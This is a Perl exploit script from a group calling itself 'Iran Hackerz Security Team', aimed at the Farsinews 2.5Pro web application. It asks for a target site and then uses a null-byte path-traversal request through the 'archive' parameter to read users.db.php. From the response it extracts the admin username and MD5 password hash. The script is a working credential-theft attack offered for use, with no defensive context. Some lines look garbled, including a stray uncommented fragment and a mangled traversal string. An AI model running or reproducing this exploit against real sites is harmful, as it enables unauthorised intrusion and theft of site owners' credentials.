#!/usr/bin/perl
#Iran Hackerz Security Team
#WebSite: www.hackerz.ir
######################################################
'hamid.comments.arch.php') to read it's data .
use LWP::Simple;
print "-------------------------------------------\n";
print "= Farsinews 2.5Pro =\n";
print "= By Hessam-x - www.hackerz.ir =\n";
print "-------------------------------------------\n\n";
print "Target(www.example.com)\> ";
chomp($targ = <STDIN>);
print "Path: (/fn25/)\>";
chomp($path=<STDIN>);
$url = "index.php?archive=/…/users.db.php%00";
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $targ\n";
$page =~ m/<img alt="(.?)" src=/ && print "[+] Username: $1\n";
$page =~ m/style="border: none;" align="right" \/>(.?)<\/font>/ && print "[+] MD5 Password: $1\n";
print "[-] Unable to retrieve User ID\n" if(!$1);